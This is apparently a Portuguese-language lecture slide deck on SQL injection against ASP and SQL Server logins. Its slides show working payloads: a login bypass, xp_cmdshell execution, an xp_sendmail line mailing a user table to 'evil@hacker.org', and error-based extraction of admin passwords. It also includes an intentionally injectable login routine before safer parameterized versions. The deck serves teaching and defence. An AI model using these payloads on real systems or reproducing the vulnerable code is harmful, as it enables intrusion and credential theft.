240 likes | 377 Views
Injeção de SQL SQL Injection. Manipulação do string SQL. Conn.Open Set rst = Conn.Execute( "select * from userinfo where username = '" & Request.Form("uname") & "' and password = '" & Request.Form(pword) & "'") Uso normal: usuário fornece username e password String Resultante:
E N D
Manipulação do string SQL • Conn.Open Set rst = Conn.Execute( "select * from userinfo where username = '" & Request.Form("uname") & "' and password = '" & Request.Form(pword) & "'") • Uso normal: usuário fornece username e password • String Resultante: select * from userinfo where username = 'uname' and password = 'pword'
Manipulação do string SQL • Com apóstrofe (') no campo Username • String Resultante: Select * from userinfo where username = ''' and password = 'pword' • Falha! Microsoft OLE DB Provider for SQL Server error '80040e14' Unclose quotation mark before the character string '' and Password=''. /scripts/Logon.asp, line 20
Manipulação do string SQL • Com ME no campo Username e apóstrofe no campo password • String Resultante: Select * from userinfo where username = 'ME' and password = ''' • Falha! Microsoft OLE DB Provider for SQL Server error '80040e14' Unclose quotation mark before the character string '''. /scripts/Logon.asp, line 20
Manipulação do string SQL • Com ME no campo Username e ' or 0=0 -- no campo password • -- significa início de comentário • String Resultante: Select * from userinfo where username = 'ME' and password = '' or 0=0 --' • Bad Logon (não existe usuário ME) • Muito Interessante! (Não falha!)
Manipulação do string SQL • Com ME no campo Username e '; exec master..xp_cmdshell 'ping 10.10.1.2'-- no campo password • String Resultante: • Select * from userinfo where username = 'ME' and password = '' ; exec master..xp_cmdshell 'ping 10.10.1.2'--
Manipulação do string SQL • Com ME no campo Username e ' group by username -- no campo password • Resposta do servidor Microsoft OLE DB Provider for ODBC Drivers error '80040e14' Column "UserInfo.username' is invalid in the selected list because it is not contained in either an aggregate function or the GROUP BY clause. /scripts/Logon.asp, line 20 • Sabe-se agora o nome da tabela que contém os usernames: UserInfo.username
Manipulação do string SQL • Concatenando '; exec master..xp_sendmail @recipients='evil@hacker.org', @subject = 'Mine, all mine!', @query='Select * from userinfo order by ID', @attach_results=True • Seleciona todos os registros da tabela UserInfo e envia por e-mail para o atacante
Como obter dados • Seja o seguinte URL: http://duck/index.asp?id=10 • Tentando-se http://duck/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES-- • Obtém-se Microsoft OLE DB Provider for ODBC Drivers error '80040e07' [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'table1' to a column of data type int. /index.asp, line 5
Como obter dados • Sabe-se o nome da primeira tabela: table1 Para obter-se o nome da segunda tabela: http://duck/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME NOT IN ('table1')-- • Obtém-se Microsoft OLE DB Provider for ODBC Drivers error '80040e07' [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'table2' to a column of data type int. /index.asp, line 5
Como obter dados • Usando-se LIKE: http://duck/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME LIKE '%25login%25'-- Obtém-se Microsoft OLE DB Provider for ODBC Drivers error '80040e07' [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'admin_login' to a column of data type int. /index.asp, line 5
Como obter dados • Para determinar os nomes das colunas de uma tabela http://duck/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login'-- Obtém-se Microsoft OLE DB Provider for ODBC Drivers error '80040e07' [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'login_id' to a column of data type int./index.asp, line 5
Como obter dados • Para determinar o nomes da coluna seguinte http://duck/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login' WHERE COLUMN_NAME NOT IN ('login_id')-- Obtém-se Microsoft OLE DB Provider for ODBC Drivers error '80040e07' [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'login_name' to a column of data type int. /index.asp, line 5
Como obter dados • Analogamente para as demais colunas: http://duck/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login' WHERE COLUMN_NAME NOT IN ('login_id','login_name','password','details')-- • Obtém-se Microsoft OLE DB Provider for ODBC Drivers error '80040e14' [Microsoft][ODBC SQL Server Driver][SQL Server]ORDER BY items must appear in the select list if the statement contains a UNION operator. /index.asp, line 5
Como obter dados • Após identificar nomes e colunas, pode-se obter os dados: http://duck/index.asp?id=10 UNION SELECT TOP 1 login_name FROM admin_login-- • Obtém-se Microsoft OLE DB Provider for ODBC Drivers error '80040e07' [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'neo' to a column of data type int. /index.asp, line 5
Como obter dados • Obteve-se o nome 'neo'; para a senha: http://duck/index.asp?id=10 UNION SELECT TOP 1 password FROM admin_login where login_name='neo'-- • Obtém-se Microsoft OLE DB Provider for ODBC Drivers error '80040e07' [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'm4trix' to a column of data type int. /index.asp, line 5
Como obter dados • Mas para a senha do nome 'trinity': http://duck/index.asp?id=10 UNION SELECT TOP 1 password FROM admin_login where login_name='trinity'-- • Obtém-se Page not found • A senha deve ser numérica...
Como obter dados • Para obter a senha numérica: http://duck/index.asp?id=10 UNION SELECT TOP 1 convert(int, password%2b'%20morpheus') FROM admin_login where login_name='trinity'-- • Obtém-se Microsoft OLE DB Provider for ODBC Drivers error '80040e07' [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value '31173 morpheus' to a column of data type int. /index.asp, line 5 • A senha é 31173
Como alterar/inserir dados • Para alterar uma senha: http://duck/index.asp?id=10; UPDATE 'admin_login' SET 'password' = 'newpas5' WHERE login_name='neo'-- • Inserir um novo usuário: http://duck/index.asp?id=10; INSERT INTO 'admin_login' ('login_id', 'login_name', 'password', 'details') VALUES (666,'neo2','newpas5','NA')--
Como impedir a injeção SQL • Nunca confie na entrada do usuário • Valide toda a entrada com controles de validação, expressões regulares, etc • Nunca use SQL dinâmico • Use SQL parametrizado ou procedures armazenadas • Nunca conecte a uma base de dados como administrador • Use uma conta com acessos limitado para isso • Não armazene secretos em texto simples • Use cifragem ou hash • Erros devem divulgar informação mínima • Use customErrors para restringir informação sobre erros; sete debug para false
BadLogin private void cmdLogin_Click(object sender, System.EventArgs e) { string strCnx = "server=localhost;database=northwind;uid=sa;pwd=;"; SqlConnection cnx = new SqlConnection(strCnx); cnx.Open(); //This code is susceptible to SQL injection attacks. string strQry = "SELECT Count(*) FROM Users WHERE UserName='" + txtUser.Text + "' AND Password='" + txtPassword.Text + "'"; int intRecs; SqlCommand cmd = new SqlCommand(strQry, cnx); intRecs = (int) cmd.ExecuteScalar(); if (intRecs>0) { FormsAuthentication.RedirectFromLoginPage(txtUser.Text, false); } else { lblMsg.Text = "Login attempt failed."; } cnx.Close(); }
GoodLogin private void cmdLogin_Click(object sender, System.EventArgs e) { string strCnx = ConfigurationSettings.AppSettings["cnxNWindBad"]; using (SqlConnection cnx = new SqlConnection(strCnx)) { SqlParameter prm; cnx.Open(); string strQry = "SELECT Count(*) FROM Users WHERE UserName=@username " + "AND Password=@password"; int intRecs; SqlCommand cmd = new SqlCommand(strQry, cnx); cmd.CommandType= CommandType.Text; prm = new SqlParameter("@username",SqlDbType.VarChar,50); prm.Direction=ParameterDirection.Input; prm.Value = txtUser.Text; cmd.Parameters.Add(prm); prm = new SqlParameter("@password",SqlDbType.VarChar,50); prm.Direction=ParameterDirection.Input; prm.Value = txtPassword.Text; cmd.Parameters.Add(prm); intRecs = (int) cmd.ExecuteScalar(); if (intRecs>0) { FormsAuthentication.RedirectFromLoginPage(txtUser.Text, false); } else { lblMsg.Text = "Login attempt failed."; } } }
BetterLogin private void cmdLogin_Click(object sender, System.EventArgs e) { string strCnx = ConfigurationSettings.AppSettings["cnxNWindBetter"]; using (SqlConnection cnx = new SqlConnection(strCnx)) { SqlParameter prm; cnx.Open(); string strAccessLevel; SqlCommand cmd = new SqlCommand("procVerifyUser", cnx); cmd.CommandType= CommandType.StoredProcedure; prm = new SqlParameter("@username",SqlDbType.VarChar,50); prm.Direction=ParameterDirection.Input; prm.Value = txtUser.Text; cmd.Parameters.Add(prm); prm = new SqlParameter("@password",SqlDbType.VarChar,50); prm.Direction=ParameterDirection.Input; prm.Value = txtPassword.Text; cmd.Parameters.Add(prm); strAccessLevel = (string) cmd.ExecuteScalar(); if (strAccessLevel.Length>0) { FormsAuthentication.RedirectFromLoginPage(txtUser.Text, false); } else { lblMsg.Text = "Login attempt failed."; } } }
BestLogin private void cmdLogin_Click(object sender, System.EventArgs e) { try { // Grab the encrypted connection string and decrypt it string strCnx = SecureConnection.GetCnxString("cnxNWindBest"); // Establish connection to database using (SqlConnection cnx = new SqlConnection(strCnx)) { SqlParameter prm; cnx.Open(); // Execute sproc to retrieved hashed password for this user string strHashedDbPwd; SqlCommand cmd = new SqlCommand("procGetHashedPassword", cnx); cmd.CommandType = CommandType.StoredProcedure; prm = new SqlParameter("@username", SqlDbType.VarChar,50); prm.Direction = ParameterDirection.Input; prm.Value = txtUser.Text; cmd.Parameters.Add(prm); strHashedDbPwd = (string) cmd.ExecuteScalar(); if (strHashedDbPwd.Length>0) { // Verify that hashed user-entered password is the same // as the hashed password from the database if (SaltedHash.ValidatePassword(txtPassword.Text,strHashedDbPwd)) { FormsAuthentication.RedirectFromLoginPage( txtUser.Text, false); } else {lblMsg.Text = "Login attempt failed.";} } else {lblMsg.Text = "Login attempt failed.";} } } catch {lblMsg.Text = "Login attempt failed.";} }